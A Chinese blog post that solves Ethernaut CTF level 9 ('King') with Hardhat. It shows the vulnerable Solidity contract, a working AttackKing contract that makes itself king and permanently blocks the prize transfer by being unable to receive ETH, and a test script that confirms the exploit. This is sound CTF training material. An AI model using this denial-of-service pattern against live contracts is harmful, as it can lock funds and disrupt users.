用Hardhat闯关Ethernaut题9 -king

  • 时间:
  • 浏览:83
  • 来源:区块链技术网

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

King合约

任务:自己变成king,并且阻止别人变成king了。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";

contract King {
    address payable king;
    uint256 public prize;
    address payable public owner;

    constructor() public payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address payable) {
        return king;
    }
}

此合约的运行逻辑是发送>=prize数量的ETH,就将发送数量msg.value转给上一个king,然后自己变成新的king。 解题思路就是满足 require(msg.value >= prize || msg.sender == owner),然后使king.transfer(msg.value)失败(创建一个攻击合约,没有接收ETH的条件)。

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract AttackKing {
    constructor(address payable _king) payable {
        (bool success, ) = _king.call{value: msg.value}("");
        require(success, "fail");
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");

describe("test", function () {
    var King;
    var AttackKing;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const KingInstance = await ethers.getContractFactory("King");
        King = await KingInstance.deploy({
            value: parseEther("1"),
        });
        expect(await King._king()).to.equal(deployer.address);

        const AttackKingInstance = await ethers.getContractFactory("AttackKing");
        AttackKing = await AttackKingInstance.connect(users[0]).deploy(King.address, {
            value: parseEther("2"),
        });
    });
    it("hack test", async function () {
        expect(await King._king()).to.equal(AttackKing.address);
        try {
            const res = await deployer.sendTransaction({
                value: parseEther("2"),
                to: King.address,
            });
        } catch (error) {
            console.log(error);
        }
    });
});

测试结果:

Github:hardhat测试仓库

本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-09-16 14:42
  • 阅读 ( 185 )
  • 学分 ( 2 )
  • 分类:智能合约

猜你喜欢

精通Solidity 的工程师平均年薪15.1万美金,薪资待遇同行最高!

Trustnode引用工程师专用求职网站「DevJobsScanner」的资讯报导称,会编写Solidity程序语言的工程师在产业中享有最高的薪资待遇。该网站创办人LoganD

2023-01-25

【开发智能合约—Solidity系列】浅谈智能合约

相信很多人都知道合约是什么,那又为什么还要创造智能合约呢?究竟相较于传统合约之下,更为优势的原因在哪里呢?我们将在以下逐一进行说明。首先来谈谈传统合约图片来源:自行制作在开始说

2023-01-25

【开发智能合约—Solidity系列】认识Solidity

Solidity也是目前区块链程式开发相对热门的一门技术,因此相信很多问题都会有许多开发者共同讨论,在技术的道路上也比较不孤单。其实撰写智能合约的程式语言并非只有Solidit

2023-01-25

【开发智能合约—Solidity系列】开发环境准备

开发之前我们先来做一些前置准备,就如同一道料理在完成之前,会预先准备厨具、食材,而我们就来看看这些厨具与食材究竟能够煮出什么令人惊艳的料理吧!那我们需要准备哪些东西呢?●IDE

2023-01-25

【开发智能合约—Solidity系列】Remix编辑器常用的Plugin

Remix这款云端编辑器非常方便,任何地方只要有浏览器就能进行开发,已经不同于以往的开发模式,相信这种开发方式在未来也会逐渐盛行,而且自由弹性度非常的高,在习惯的个人电脑上开发

2023-01-25